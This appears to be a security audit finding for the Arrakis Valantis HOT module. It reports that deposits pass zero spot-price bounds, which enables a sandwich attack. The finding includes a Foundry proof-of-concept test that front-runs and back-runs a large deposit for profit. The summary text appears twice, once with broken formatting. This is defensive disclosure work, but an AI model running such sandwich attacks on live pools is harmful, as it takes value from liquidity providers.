The expected price bounds are not passed in to alm.depositLiquidity(), allowing a sandwich attack
Summary
The functions HOT.depositLiquidity and HOT.withdrawLiquidity include 2 of the following parameters:
_expectedSqrtSpotPriceLowerX96
_expectedSqrtSpotPriceUpperX96
These are bounds for the expected spot price, to ensure that the spot price has not been manipulated by malicious actors during the execution of the function call.
This is evident as the code comment in HOT.depositLiquidity() states:
// Allow `liquidityProvider` to cross-check sqrt spot price against expected bounds,
// to protect against its manipulation
Due to these values not being passed in, the checks do not occur, allowing for a sandwich attack to occur.
Vulnerability Detail
ValantisHOTModulePublic.deposit() deposits liquidity into the ALM via the following line:
alm.depositLiquidity(amount0, amount1, 0, 0);
The issue:
Note how the last two params (the spot price bounds) are set to zero.
This means that within the depositLiquidity function, the spot price check inside the internal function _checkSpotPriceRange will be entirely skipped (see PoC).
Attack Steps:
Frontrun the deposit() call with a large swap from tokenA->tokenB
deposit() occurs, increasing the liquidity of the pool
Backrun the deposit() call, with a large swap from tokenB->tokenA
Since the price impact in step 3 is lower than the price impact in step 1, the attacker gains a profit since the 'average price' for selling was higher than the 'average price' for buying.
juaan
medium
The expected price bounds are not passed in to alm.depositLiquidity(), allowing a sandwich attack
Summary
The functions
HOT.depositLiquidity
andHOT.withdrawLiquidity
include 2 of the following parameters:These are bounds for the expected spot price, to ensure that the spot price has not been manipulated by malicious actors during the execution of the function call.
This is evident as the code comment in
HOT.depositLiquidity()
states:Due to these values not being passed in, the checks do not occur, allowing for a sandwich attack to occur.
Vulnerability Detail
ValantisHOTModulePublic.deposit()
deposits liquidity into the ALM via the following line:The issue:
Note how the last two params (the spot price bounds) are set to zero.
This means that within the
depositLiquidity
function, the spot price check inside the internal function_checkSpotPriceRange
will be entirely skipped (see PoC).Attack Steps:
Since the price impact in step 3 is lower than the price impact in step 1, the attacker gains a profit since the 'average price' for selling was higher than the 'average price' for buying.
For more details regarding the attack, see this article: https://eigenphi.substack.com/p/a-brand-new-sandwich-bot-that-could
Impact
Since the spot price bound check is completely skipped, a malicious actor can manipulate sandwich the depositing of liquidity to earn a profit.
Proof of Concept
The coded PoC demonstrates how a large swap can be used to earn a 0.4% risk free profit via a sandwich attack.
Add the file to
arrakis-modular/test/integration
and runforge test --mt test_sandwich_addLiquidity
Coded PoC
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; // Foundry Imports import {console} from "forge-std/console.sol"; import {Vm} from "forge-std/Vm.sol"; import {Test} from "forge-std/Test.sol"; // Arrakis Imports import {IArrakisMetaVaultPublic} from "../../src/interfaces/IArrakisMetaVaultPublic.sol"; import {IArrakisMetaVault} from "../../src/interfaces/IArrakisMetaVault.sol"; import {IArrakisStandardManager} from "../../src/interfaces/IArrakisStandardManager.sol"; import {IArrakisLPModule} from "../../src/interfaces/IArrakisLPModule.sol"; // Valantis Imports import {IValantisHOTModule} from "../../src/interfaces/IValantisHOTModule.sol"; import {SovereignPool} from "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol"; import {HOT} from "@valantis-hot/contracts/HOT.sol"; // Base Test import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol"; import { SovereignPoolConstructorArgs, SovereignPoolSwapParams, SovereignPoolSwapContextData } from "../../lib/valantis-hot/lib/valantis-core/test/base/SovereignPoolBase.t.sol"; contract PoC_Sandwich_AddLiquidity is ValantisIntegrationPublicTest { address user; address receiver; address whale; address attacker; uint160 internal constant MIN_SQRT_PRICE = 4295128739; uint160 internal constant MAX_SQRT_PRICE = 1461446703485210103287273052203988822378723970342; function test_sandwich_addLiquidity() public { // #region mint. user = makeAddr("user"); receiver = makeAddr("receiver"); whale = makeAddr("whale"); attacker = makeAddr("attacker"); deal(address(token0), user, init0); deal(address(token1), user, init1); deal(address(token0), whale, init0*10); deal(address(token1), whale, init1*10); address m = address(IArrakisMetaVault(vault).module()); // Minting initial vault shares vm.startPrank(user); token0.approve(m, init0); token1.approve(m, init1); IArrakisMetaVaultPublic(vault).mint(1e18, receiver); vm.stopPrank(); // #endregion mint. // #region do a swap. uint256 amountIn = 2010e6; bool isZeroForOne = true; deal(address(token0), attacker, amountIn); vm.prank(attacker); token0.approve(address(pool), amountIn); SovereignPoolSwapParams memory swapParams = SovereignPoolSwapParams({ isSwapCallback: false, isZeroToOne: isZeroForOne, amountIn: amountIn, amountOutMin: 0, recipient: attacker, deadline: block.timestamp + 2, swapTokenOut: isZeroForOne ? address(token1) : address(token0), swapContext: SovereignPoolSwapContextData("", "", "", "") }); vm.prank(attacker); (uint256 amountInUsed, uint256 amountOut) = pool.swap(swapParams); console.log("amountInUsed: %e", amountInUsed); // Whale adds liquidity vm.startPrank(whale); token0.approve(m, init0*10); token1.approve(m, init1*10); IArrakisMetaVaultPublic(vault).mint(4.5e18, receiver); vm.stopPrank(); // Attacker swaps back to token0 swapParams = SovereignPoolSwapParams({ isSwapCallback: false, isZeroToOne: !isZeroForOne, amountIn: amountOut, amountOutMin: 0, recipient: attacker, deadline: block.timestamp + 2, swapTokenOut: !isZeroForOne ? address(token1) : address(token0), swapContext: SovereignPoolSwapContextData("", "", "", "") }); vm.startPrank(attacker); token1.approve(address(pool), amountOut); (, uint256 amountOut2) = pool.swap(swapParams); console.log("amountOut: %e", amountOut2); // Assert that the attacker made a profit assertGt(amountOut2, amountInUsed); } } ```Code Snippet
https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/modules/ValantisHOTModulePublic.sol#L91
Tool used
Manual Review
Recommendation
Consider passing in an expected lower and upper bound for the price to prevent spot price manipulation.
Duplicate of #80